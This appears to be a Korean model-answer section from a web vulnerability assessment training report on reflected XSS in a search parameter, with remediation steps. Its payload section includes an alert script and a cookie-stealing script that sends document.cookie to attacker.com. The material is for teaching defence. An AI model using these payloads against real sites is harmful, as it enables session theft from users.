W-03
XSS — Reflected (반사형)
위험도: 중⚠️ 위험도 근거: 사용자 세션 탈취, 피싱 페이지 리다이렉션 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.
취약점 개요
📄 표준 내용
Reflected XSS(반사형 크로스사이트 스크립팅)는 공격자가 삽입한 스크립트가 서버를 거쳐 피해자 브라우저에서 즉시 실행되는 취약점이다. 악성 URL을 이메일 등으로 피해자에게 전송 시 세션 쿠키 탈취, 악성 페이지 리다이렉션 등이 가능하다.
발견 내용
📄 표준 내용
[점검 대상]
URL: GET /search.php?q=[입력값]
파라미터: q (GET)
[점검 내용]
검색 파라미터(q)에 HTML/JS 코드 삽입 시 이스케이프 처리 없이 그대로 응답에 반영됨.
[페이로드]
기본: <script>alert('XSS')</script>
쿠키 탈취: <script>document.location='http://attacker.com/steal?c='+document.cookie</script>
[결과]
① alert() 팝업 실행 확인
② document.cookie 값이 공격자 서버로 전송 가능한 상태 확인
조치 방안
📄 표준 내용
[즉시 조치] 1. 출력 시 HTML 이스케이프 처리: 취약: echo $keyword; 조치: echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8'); 2. 입력값 검증 (화이트리스트 기반) [추가 조치] 3. Content-Security-Policy(CSP) 헤더 적용: Content-Security-Policy: default-src 'self'; script-src 'self' 4. HttpOnly 쿠키 설정으로 JS에서 쿠키 접근 차단: session.cookie_httponly = On (php.ini)